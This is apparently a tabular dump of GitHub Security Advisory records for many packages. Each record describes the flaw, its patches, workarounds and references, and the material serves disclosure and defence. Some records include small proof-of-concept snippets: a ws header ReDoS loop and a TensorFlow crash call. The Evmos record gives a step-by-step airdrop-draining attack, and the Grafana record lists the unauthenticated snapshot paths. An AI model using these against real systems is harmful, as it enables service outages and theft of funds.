ecosystem
stringclasses 11
values | vuln_id
stringlengths 10
19
| summary
stringlengths 4
220
⌀ | details
stringlengths 34
13.5k
| aliases
stringlengths 17
87
⌀ | modified_date
stringdate 2019-03-26 14:13:00
2022-05-10 08:46:52
| published_date
stringdate 2012-06-17 03:41:00
2022-05-10 08:46:50
| severity
stringclasses 5
values | score
float64 0
10
⌀ | cwe_id
stringclasses 581
values | refs
stringlengths 82
11.6k
| introduced
stringclasses 843
values | code_refs
stringlengths 46
940
| commits
stringlengths 46
940
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
GHSA | GHSA-fg5w-w99f-rj6w | Command Injection in @ronomon/opened | The @ronomon/opened library before 1.5.2 is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input. | {'CVE-2021-29300'} | 2021-06-08T23:15:35Z | 2021-06-08T23:15:35Z | CRITICAL | 9.8 | {'CWE-77'} | {'https://advisory.checkmarx.net/advisory/CX-2021-4775', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29300', 'https://github.com/ronomon/opened/commit/7effe011d4fea8fac7f78c00615e0a6e69af68ec', 'https://github.com/advisories/GHSA-fg5w-w99f-rj6w'} | null | {'https://github.com/ronomon/opened/commit/7effe011d4fea8fac7f78c00615e0a6e69af68ec'} | {'https://github.com/ronomon/opened/commit/7effe011d4fea8fac7f78c00615e0a6e69af68ec'} |
GHSA | GHSA-ghq2-m3pq-qf3p | Stored XSS in Jenkins CVS Plugin | Jenkins CVS Plugin 2.19 and earlier does not escape the name and description of CVS Symbolic Name parameters on views displaying parameters, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission. | {'CVE-2022-29037'} | 2022-05-03T20:52:55Z | 2022-04-13T00:00:18Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/advisories/GHSA-ghq2-m3pq-qf3p', 'https://github.com/jenkinsci/cvs-plugin/commit/043ef8801a7b3fbbf778245c3c7174d21e42efe2', 'https://www.jenkins.io/security/advisory/2022-04-12/#SECURITY-2617', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29037'} | null | {'https://github.com/jenkinsci/cvs-plugin/commit/043ef8801a7b3fbbf778245c3c7174d21e42efe2'} | {'https://github.com/jenkinsci/cvs-plugin/commit/043ef8801a7b3fbbf778245c3c7174d21e42efe2'} |
GHSA | GHSA-x2j7-6hxm-87p3 | Remote code injection | An issue was discovered in Craft CMS before 3.6.7. In some circumstances, a potential Remote Code Execution vulnerability existed on sites that did not restrict administrative changes (if an attacker were somehow able to hijack an administrator's session). | {'CVE-2021-27903'} | 2021-07-07T17:13:31Z | 2021-07-02T18:36:41Z | CRITICAL | 9.8 | {'CWE-94', 'CWE-74'} | {'https://github.com/advisories/GHSA-x2j7-6hxm-87p3', 'https://nvd.nist.gov/vuln/detail/CVE-2021-27903', 'https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#security', 'https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#367---2021-02-23', 'https://github.com/craftcms/cms/commit/c17728fa0bec11d3b82c34defe0930ed409aec38'} | null | {'https://github.com/craftcms/cms/commit/c17728fa0bec11d3b82c34defe0930ed409aec38'} | {'https://github.com/craftcms/cms/commit/c17728fa0bec11d3b82c34defe0930ed409aec38'} |
GHSA | GHSA-6fc8-4gx4-v693 | ReDoS in Sec-Websocket-Protocol header | ### Impact
A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server.
### Proof of concept
```js
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
```
### Patches
The vulnerability was fixed in ws@7.4.6 (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to ws@6.2.2 (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and ws@5.2.3 (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2).
### Workarounds
In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the [`--max-http-header-size=size`](https://nodejs.org/api/cli.html#cli_max_http_header_size_size) and/or the [`maxHeaderSize`](https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener) options.
### Credits
The vulnerability was responsibly disclosed along with a fix in private by [Robert McLaughlin](https://github.com/robmcl4) from University of California, Santa Barbara.
| {'CVE-2021-32640'} | 2022-04-19T19:02:58Z | 2021-05-28T19:19:03Z | MODERATE | 5.3 | {'CWE-400', 'CWE-345'} | {'https://github.com/advisories/GHSA-6fc8-4gx4-v693', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32640', 'https://lists.apache.org/thread.html/rdfa7b6253c4d6271e31566ecd5f30b7ce1b8fb2c89d52b8c4e0f4e30@%3Ccommits.tinkerpop.apache.org%3E', 'https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693', 'https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff', 'https://github.com/websockets/ws/issues/1895'} | null | {'https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff'} | {'https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff'} |
GHSA | GHSA-h3p9-wrgx-82cm | Use of a Broken or Risky Cryptographic Algorithm in Terraform | When using the Azure backend with a shared access signature (SAS), Terraform versions prior to 0.12.17 may transmit the token and state snapshot using cleartext HTTP. | {'CVE-2019-19316'} | 2021-07-28T16:28:51Z | 2021-05-18T18:18:50Z | HIGH | 3.7 | {'CWE-327', 'CWE-20'} | {'https://github.com/hashicorp/terraform/commit/6db3cf8e5b4cfb2a3cd1d99a813b50b2d5d363bb', 'https://nvd.nist.gov/vuln/detail/CVE-2019-19316', 'https://github.com/advisories/GHSA-h3p9-wrgx-82cm', 'https://github.com/hashicorp/terraform/issues/23493', 'https://github.com/hashicorp/terraform/security/advisories/GHSA-4rvg-555h-r626'} | null | {'https://github.com/hashicorp/terraform/commit/6db3cf8e5b4cfb2a3cd1d99a813b50b2d5d363bb'} | {'https://github.com/hashicorp/terraform/commit/6db3cf8e5b4cfb2a3cd1d99a813b50b2d5d363bb'} |
GHSA | GHSA-w2fr-65vp-mxw3 | Deserialization of untrusted data in Symfony | In Symfony before 2.8.50, 3.x before 3.4.26, 4.x before 4.1.12, and 4.2.x before 4.2.7, it is possible to cache objects that may contain bad user input. On serialization or unserialization, this could result in the deletion of files that the current user has access to. This is related to symfony/cache and symfony/phpunit-bridge. | {'CVE-2019-10912'} | 2021-08-19T17:12:23Z | 2020-02-12T18:44:50Z | HIGH | 7.1 | {'CWE-502'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MDSM576XIOVXVCMHNJHLBBZBTOD62LDA/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BAC2TQVEEH5FDJSSWPM2BCRIPTCOEMMO/', 'https://symfony.com/blog/cve-2019-10912-prevent-destructors-with-side-effects-from-being-unserialized', 'https://symfony.com/cve-2019-10912', 'https://github.com/advisories/GHSA-w2fr-65vp-mxw3', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/phpunit-bridge/CVE-2019-10912.yaml', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LFARAUAWZE4UDSKVDWRD35D75HI5UGSD/', 'https://seclists.org/bugtraq/2019/May/21', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BHHIG4GMSGEIDT3RITSW7GJ5NT6IBHXU/', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/cache/CVE-2019-10912.yaml', 'https://www.debian.org/security/2019/dsa-4441', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/42UEKSLKJB72P24JBWVN6AADHLMYSUQD/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6QEAOZXVNDA63537A2OIH4QE77EKZR5O/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RTJGZJLPG5FHKFH7KNAKNTWOGBB6LXAL/', 'https://typo3.org/security/advisory/typo3-core-sa-2019-016/', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10912', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZLOZX5BZMQKWG7PJRQL6MB5CAMKBQAWD/', 'https://github.com/symfony/symfony/commit/4fb975281634b8d49ebf013af9e502e67c28816b', 'https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-10912.yaml'} | null | {'https://github.com/symfony/symfony/commit/4fb975281634b8d49ebf013af9e502e67c28816b'} | {'https://github.com/symfony/symfony/commit/4fb975281634b8d49ebf013af9e502e67c28816b'} |
GHSA | GHSA-j85q-whc9-g4p9 | Use of Cryptographically Weak Pseudo-Random Number Generator in showdoc | showdoc is vulnerable to Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) | {'CVE-2021-3678'} | 2021-09-02T17:07:48Z | 2021-09-02T17:07:48Z | MODERATE | 5.9 | {'CWE-338'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3678', 'https://github.com/advisories/GHSA-j85q-whc9-g4p9', 'https://github.com/star7th/showdoc/commit/4b962c1740311e0d46775023b6acba39ad60e370', 'https://huntr.dev/bounties/f9a9defd-29ea-4442-b692-ff1512813de4'} | null | {'https://github.com/star7th/showdoc/commit/4b962c1740311e0d46775023b6acba39ad60e370'} | {'https://github.com/star7th/showdoc/commit/4b962c1740311e0d46775023b6acba39ad60e370'} |
GHSA | GHSA-5jgq-x857-p8xw | Account compromise in Evmos | ## Impact
_What kind of vulnerability is it? Who is impacted?_
### Classification
The vulnerability has been classified as `critical` with a score of `9.0` (highest). It has the potential to affect and drain unclaimed airdrop funds from Cosmos and Osmosis eligible user addresses.
### Disclosure
The attack requires advanced knowledge of the internals of the core and application packages of IBC, IBC relayers, the Cosmos SDK `AnteHandler`, and the Evmos `x/claims` module. The step-by-step attack is described below:
1. An actor creates a malicious chain with a custom `AnteHandler` that skips signature verification for transactions, specifically IBC `MsgTransfer`. This allows the attacker to impersonate any account by setting a custom `sender` address field of the IBC transfer message.
2. The malicious actor then connects this newly created chain via IBC to Evmos and fills the `recipient` address from the transfer message with an address they control.
3. Once the IBC packet containing the Transfer data is relayed to Evmos, it is processed by the claims module IBC middleware. Which migrates the claim records to the recipient address, which is owned by the attacker.
4. The attacker then performs two airdrop Actions, claiming up to 75% of the total initial claimable amount.
5. The Actor repeats steps 1., 2., and 3. for every address that has unclaimed funds from the airdrop. This automatically claims 75% of the unclaimable amount.
6. The malicious actor performs the final Action, claiming 100% of all the user funds.
7. Then, the attacker transfers the funds to another chain with a DEX (Osmosis, Cosmos Hub) via IBC.
8. Finally, the attacker withdraws the total amount in fiat through a centralized exchange.
### Users impacted
No users have suffered the loss of funds as no malicious chains have been connected to Evmos.
## Patches
_Has the problem been patched? What versions should users upgrade to?_
The patch involves defining a list of authorized channels for chains that are connected to Evmos via IBC. This restricts the chains that have the capability of migrating users' claims records as per the specification. By default, the authorized destination channels are `"channel-0"` (Osmosis) and `"channel-3"` (Cosmos Hub).
Please upgrade your mainnet node and validator to [`v2.0.1`](https://github.com/tharsis/evmos/releases/tag/v2.0.1) **ASAP**.
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
No, the fix for the critical vulnerability is state machine breaking. An upgrade procedure must be coordinated with the nodes running the network.
## References
_Are there any links users can visit to find out more?_
* Claims module spec: [evmos.dev/modules/claims](https://evmos.dev/modules/claims)
* Cosmos SDK documentation: [docs.cosmos.network](https://docs.cosmos.network/)
* IBC documentation: [ibc.cosmos.network](https://ibc.cosmos.network/)
## For more information
If you have any questions or comments about this advisory:
* Reach out to the Core Team in [Discord](https://discord.gg/evmos)
* Open an issue in [tharsis/evmos](http://github.com/tharsis/evmos/issues)
* Email us at [security@thars.is](security@thars.is)
Thanks to the Core IBC team at Interchain GmbH for the secure disclosure of this vulnerability | {'CVE-2022-24738'} | 2022-03-18T20:07:35Z | 2022-03-07T21:45:59Z | HIGH | 7.4 | {'CWE-287'} | {'https://github.com/advisories/GHSA-5jgq-x857-p8xw', 'https://github.com/tharsis/evmos/security/advisories/GHSA-5jgq-x857-p8xw', 'https://github.com/tharsis/evmos/commit/28870258d4ee9f1b8aeef5eba891681f89348f71', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24738', 'https://github.com/tharsis/evmos/releases/tag/v2.0.1'} | null | {'https://github.com/tharsis/evmos/commit/28870258d4ee9f1b8aeef5eba891681f89348f71'} | {'https://github.com/tharsis/evmos/commit/28870258d4ee9f1b8aeef5eba891681f89348f71'} |
GHSA | GHSA-rgcm-rpq9-9cgr | Missing Authentication for Critical Function in Saleor | An issue was discovered in Mirumee Saleor 2.x before 2.9.1. Incorrect access control in the checkoutCustomerAttach mutations allows attackers to attach their checkouts to any user ID and consequently leak user data (e.g., name, address, and previous orders of any other customer). | {'CVE-2020-7964'} | 2021-07-28T17:57:09Z | 2021-07-28T17:57:09Z | MODERATE | 5.3 | {'CWE-306'} | {'https://github.com/advisories/GHSA-rgcm-rpq9-9cgr', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7964', 'https://github.com/mirumee/saleor/releases/tag/2.9.1', 'https://github.com/mirumee/saleor/commit/233b8890c60fa6d90daf99e4d90fea85867732c3'} | null | {'https://github.com/mirumee/saleor/commit/233b8890c60fa6d90daf99e4d90fea85867732c3'} | {'https://github.com/mirumee/saleor/commit/233b8890c60fa6d90daf99e4d90fea85867732c3'} |
GHSA | GHSA-r74q-gxcg-73hx | High severity vulnerability that affects simple_form | ## Incorrect Access Control in `file_method?` in `lib/simple_form/form_builder.rb`; a user-supplied string is invoked as a method call
### Impact
For pages that build a form using user input, it is possible for an attacker to manipulate the input and send any method present in the form object. For example:
```erb
<%= simple_form_for @user do |f| %>
<%= f.label @user_supplied_string %>
...
<% end %>
```
The string provided in the variable `@user_supplied_string` would be invoked as a method call inside the `@user` object (unless the string contains any of the following: `password`, `time_zone`, `country`, `email`, `phone` and `url`).
By manipulation that input, an attacker could do any of the following:
- Code execution (call actions like `#destroy`)
- Denial of Service (by executing a computation intensive method)
- Information Disclosure (check the presence of methods, leak user information)
### Patches
The problem was fixed in version `5.0`. Although it's a major version, there should be no issues with upgrading for `4.x`. The reason it was released in a major version is that the configuration `SimpleForm.file_methods` was deprecated in order to fix the problem.
### Workarounds
The issue only happens with pages that build forms based on user-provided input. If your application doesn't do that, you're not affected.
A workaround is to explicitly pass which type you want for an input since the issue lies on Simple Form's automatically discovery of input types. This can be done using the `as` option, like the following:
```erb
<%= form.input :avatar, as: :file %>
```
### References
[TDB]
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [https://github.com/plataformatec/simple_form](https://github.com/plataformatec/simple_form)
* Email us at [opensource@plataformatec.com.br](mailto:opensource@plataformatec.com.br) | {'CVE-2019-16676'} | 2021-09-17T14:36:30Z | 2019-09-30T19:41:15Z | CRITICAL | 9.8 | {'CWE-20'} | {'https://github.com/plataformatec/simple_form/security/advisories/GHSA-r74q-gxcg-73hx', 'https://github.com/advisories/GHSA-r74q-gxcg-73hx', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16676', 'https://github.com/plataformatec/simple_form/commits/master', 'http://blog.plataformatec.com.br/2019/09/incorrect-access-control-in-simple-form-cve-2019-16676/'} | null | {'https://github.com/plataformatec/simple_form/commits/master'} | {'https://github.com/plataformatec/simple_form/commits/master'} |
GHSA | GHSA-9r27-994c-4xch | discord-html not escaping HTML code blocks when lacking a language identifier | ### Impact
Any website using discord-markdown with user-generated markdown is vulnerable to having code injected into the page where the markdown is displayed.
### Patches
This has been patched in version 2.3.1
### Workarounds
Escape the characters `<>&` before sending plain code blocks to discord-markdown.
### References
https://github.com/brussell98/discord-markdown/issues/13 | null | 2020-02-24T17:34:02Z | 2020-02-24T17:34:02Z | HIGH | 0 | null | {'https://github.com/brussell98/discord-markdown/security/advisories/GHSA-9r27-994c-4xch', 'https://github.com/advisories/GHSA-9r27-994c-4xch', 'https://github.com/brussell98/discord-markdown/commit/7ce2eb66520815dcf5e97ef2bc8a2d5979da66e7', 'https://github.com/brussell98/discord-markdown/issues/13'} | null | {'https://github.com/brussell98/discord-markdown/commit/7ce2eb66520815dcf5e97ef2bc8a2d5979da66e7'} | {'https://github.com/brussell98/discord-markdown/commit/7ce2eb66520815dcf5e97ef2bc8a2d5979da66e7'} |
GHSA | GHSA-2cpx-427x-q2c6 | CHECK-fail in AddManySparseToTensorsMap | ### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.AddManySparseToTensorsMap`:
```python
import tensorflow as tf
import numpy as np
sparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)
sparse_values = tf.ones([1], dtype=tf.int64)
shape = tf.Variable(tf.ones([55], dtype=tf.int64))
shape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))
tf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,
sparse_values=sparse_values,
sparse_shape=shape)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/kernels/sparse_tensors_map_ops.cc#L257) takes the values specified in `sparse_shape` as dimensions for the output shape:
```cc
TensorShape tensor_input_shape(input_shape->vec<int64>());
```
The [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.
```cc
template <class Shape>
TensorShapeBase<Shape>::TensorShapeBase(gtl::ArraySlice<int64> dim_sizes) {
set_tag(REP16);
set_data_type(DT_INVALID);
TF_CHECK_OK(InitDims(dim_sizes));
}
```
In our scenario, this occurs when adding a dimension from the argument results in overflow:
```cc
template <class Shape>
Status TensorShapeBase<Shape>::InitDims(gtl::ArraySlice<int64> dim_sizes) {
...
Status status = Status::OK();
for (int64 s : dim_sizes) {
status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));
if (!status.ok()) {
return status;
}
}
}
template <class Shape>
Status TensorShapeBase<Shape>::AddDimWithStatus(int64 size) {
...
int64 new_num_elements;
if (kIsPartial && (num_elements() < 0 || size < 0)) {
new_num_elements = -1;
} else {
new_num_elements = MultiplyWithoutOverflow(num_elements(), size);
if (TF_PREDICT_FALSE(new_num_elements < 0)) {
return errors::Internal("Encountered overflow when multiplying ",
num_elements(), " with ", size,
", result: ", new_num_elements);
}
}
...
}
```
This is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.
### Patches
We have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. | {'CVE-2021-29523'} | 2021-05-21T14:21:43Z | 2021-05-21T14:21:43Z | LOW | 2.5 | {'CWE-190'} | {'https://github.com/advisories/GHSA-2cpx-427x-q2c6', 'https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29523', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2cpx-427x-q2c6'} | null | {'https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c'} | {'https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c'} |
GHSA | GHSA-582f-p4pg-xc74 | Regular Expression Denial of Service in csv-parse | Versions of `csv-parse` prior to 4.4.6 are vulnerable to Regular Expression Denial of Service. The `__isInt()` function contains a malformed regular expression that processes large specially-crafted input very slowly, leading to a Denial of Service. This is triggered when using the `cast` option.
## Recommendation
Upgrade to version 4.4.6 or later. | {'CVE-2019-17592'} | 2022-01-04T19:51:33Z | 2019-10-15T20:06:16Z | HIGH | 7.5 | {'CWE-20', 'CWE-400'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Z36UKPO5F3PQ3Q2POMF5LEKXWAH5RUFP/', 'https://github.com/advisories/GHSA-582f-p4pg-xc74', 'https://nvd.nist.gov/vuln/detail/CVE-2019-17592', 'https://www.npmjs.com/advisories/1171', 'https://github.com/adaltas/node-csv-parse/commit/b9d35940c6815cdf1dfd6b21857a1f6d0fd51e4a', 'https://security.netapp.com/advisory/ntap-20191127-0002/'} | null | {'https://github.com/adaltas/node-csv-parse/commit/b9d35940c6815cdf1dfd6b21857a1f6d0fd51e4a'} | {'https://github.com/adaltas/node-csv-parse/commit/b9d35940c6815cdf1dfd6b21857a1f6d0fd51e4a'} |
GHSA | GHSA-x24j-87x9-jvv5 | Improper Authorization in Publify | In Publify, 9.0.0.pre1 to 9.2.4 are vulnerable to Improper Access Control. “guest” role users can self-register even when the admin does not allow. This happens due to front-end restriction only. | {'CVE-2021-25973'} | 2022-04-19T19:03:25Z | 2021-11-03T17:34:22Z | MODERATE | 6.5 | {'CWE-863', 'CWE-285'} | {'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25973', 'https://nvd.nist.gov/vuln/detail/CVE-2021-25973', 'https://github.com/advisories/GHSA-x24j-87x9-jvv5', 'https://github.com/publify/publify/commit/3447e0241e921b65f6eb1090453d8ea73e98387e'} | null | {'https://github.com/publify/publify/commit/3447e0241e921b65f6eb1090453d8ea73e98387e'} | {'https://github.com/publify/publify/commit/3447e0241e921b65f6eb1090453d8ea73e98387e'} |
GHSA | GHSA-xmw9-q7x9-j5qc | Unbounded connection acceptance leads to file handle exhaustion | ### Impact
All servers running blaze-core <= 0.14.14, including blaze-http and http4s-blaze-server users, are affected.
Blaze, accepts connections unconditionally on a dedicated thread pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.
The vast majority of affected users are using it as part of http4s-blaze-server <= 0.21.16. http4s provides a mechanism for limiting open connections, but is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.
### Patches
The issue is fixed in version 0.14.15 for `NIO1SocketServerGroup`. A `maxConnections` parameter is added, with a default value of 512. Concurrent connections beyond this limit are rejected. To run unbounded, which is not recommended, set a negative number.
The `NIO2SocketServerGroup` has no such setting and is now deprecated.
### Workarounds
* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.
* A similar sidecar strategy is viable for other non-HTTP services running on blaze-core.
* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support. Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.
* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.
* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support. Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [http4s/blaze](http://github.com/http4s/blaze)
* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy) | {'CVE-2021-21293'} | 2021-02-09T18:51:29Z | 2021-02-02T21:42:49Z | HIGH | 0 | {'CWE-400'} | {'https://github.com/http4s/blaze/commit/4f786177f9fb71ab272f3a5f6c80bca3e5662aa1', 'https://github.com/advisories/GHSA-xmw9-q7x9-j5qc', 'https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc', 'https://github.com/http4s/http4s/security/advisories/GHSA-xhv5-w9c5-2r2w', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21293'} | null | {'https://github.com/http4s/blaze/commit/4f786177f9fb71ab272f3a5f6c80bca3e5662aa1'} | {'https://github.com/http4s/blaze/commit/4f786177f9fb71ab272f3a5f6c80bca3e5662aa1'} |
GHSA | GHSA-vwpg-f6gw-rjvf | Incorrect Authorization in Spring Cloud Netflix Zuul | Applications using the “Sensitive Headers” functionality in Spring Cloud Netflix Zuul 2.2.6.RELEASE and below may be vulnerable to bypassing the “Sensitive Headers” restriction when executing requests with specially constructed URLs. Applications that use Spring Security's StrictHttpFirewall (enabled by default for all URLs) are not affected by the vulnerability, as they reject requests that allow bypassing. | {'CVE-2021-22113'} | 2021-05-10T15:18:50Z | 2021-05-10T15:18:50Z | MODERATE | 0 | {'CWE-863'} | {'https://tanzu.vmware.com/security/cve-2021-22113', 'https://github.com/spring-cloud/spring-cloud-netflix/commit/8ecb3dca511c3ce0454e42ac31ee2331d7318c07', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22113', 'https://github.com/advisories/GHSA-vwpg-f6gw-rjvf'} | null | {'https://github.com/spring-cloud/spring-cloud-netflix/commit/8ecb3dca511c3ce0454e42ac31ee2331d7318c07'} | {'https://github.com/spring-cloud/spring-cloud-netflix/commit/8ecb3dca511c3ce0454e42ac31ee2331d7318c07'} |
GHSA | GHSA-69j6-29vr-p3j9 | Authentication bypass for viewing and deletions of snapshots | Today we are releasing Grafana 7.5.11, and 8.1.6. These patch releases include an important security fix for an issue that affects all Grafana versions from 2.0.1.
[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.
8.1.5 contained a single fix for bar chart panels. We believe that users can expedite deployment by moving from 8.1.4 to 8.1.6 directly.
## CVE-2021-39226 Snapshot authentication bypass
### Summary
CVSS Score: 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
We received a security report to [security@grafana.com](mailto:security@grafana.com) on 2021-09-15 about a vulnerability in Grafana regarding the snapshot feature. It was later identified as affecting Grafana versions from 2.0.1 to 8.1.6. [CVE-2021-39226](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39226) has been assigned to this vulnerability.
### Impact
Unauthenticated and authenticated users are able to view the snapshot with the lowest database key by accessing the literal paths:
* `/dashboard/snapshot/:key`, or
* `/api/snapshots/:key`
If the snapshot "public_mode" configuration setting is set to true (vs default of false), unauthenticated users are able to delete the snapshot with the lowest database key by accessing the literal path:
* `/api/snapshots-delete/:deleteKey`
Regardless of the snapshot "public_mode" setting, authenticated users are able to delete the snapshot with the lowest database key by accessing the literal paths:
* `/api/snapshots/:key`, or
* `/api/snapshots-delete/:deleteKey`
The combination of deletion and viewing enables a complete walk through all snapshot data while resulting in complete snapshot data loss.
### Attack audit
While we can not guarantee that the below will identify all attacks, if you do find something with the below, you should consider doing a full assessment.
#### Through reverse proxy/load balancer logs
To determine if your Grafana installation has been exploited for this vulnerability, search through your reverse proxy/load balancer access logs for instances where the path is `/dashboard/snapshot/:key`, `/api/snapshots/:key` or `/api/snapshots-delete/:deleteKey`, and the response status code was 200 (OK).
For example, if you’re using the Kubernetes ingress-nginx controller and sending logs to Loki, use a LogQL query like `{job="nginx-ingress-controller"} |= "\"status\": 200" |= "\"uri\": \"/api/snapshots/:key\""`.
#### Through the Grafana Enterprise audit feature
If you enabled “Log web requests” in your configuration with `router_logging = true`, look for
`"requestUri":"/api/snapshots-delete/”`,`“requestUri":"/api/snapshots/:key"`, or `"type":"snapshot"` in combination with `"action":"delete"`.
### Patched versions
Release 8.1.6:
- [Download Grafana 8.1.6](https://grafana.com/grafana/download/8.1.6)
- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/)
Release 7.5.11:
- [Download Grafana 7.5.11](https://grafana.com/grafana/download/7.5.11)
- [Release notes](https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-5-11/)
### Solutions and mitigations
Download and install the appropriate patch for your version of Grafana.
[Grafana Cloud](https://grafana.com/cloud) instances have already been patched, and [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.
### Workaround
If for some reason you cannot upgrade:
You can use a reverse proxy or similar to block access to the literal paths
* `/api/snapshots/:key`
* `/api/snapshots-delete/:deleteKey`
* `/dashboard/snapshot/:key`
* `/api/snapshots/:key`
They have no normal function and can be disabled without side effects.
### Timeline and postmortem
Here is a detailed timeline starting from when we originally learned of the issue. All times in UTC.
* 2021-09-15 14:49: Tuan Tran theblackturtle0901@gmail.com sends initial report about viewing snapshots without authentication
* 2021-09-15 15:56: Initial reproduction
* 2021-09-15 17:10: MEDIUM severity declared
* 2021-09-15 18:58: Workaround deployed on Grafana Cloud
* 2021-09-15 19:15: `/api/snapshots/:key` found to be vulnerable as well
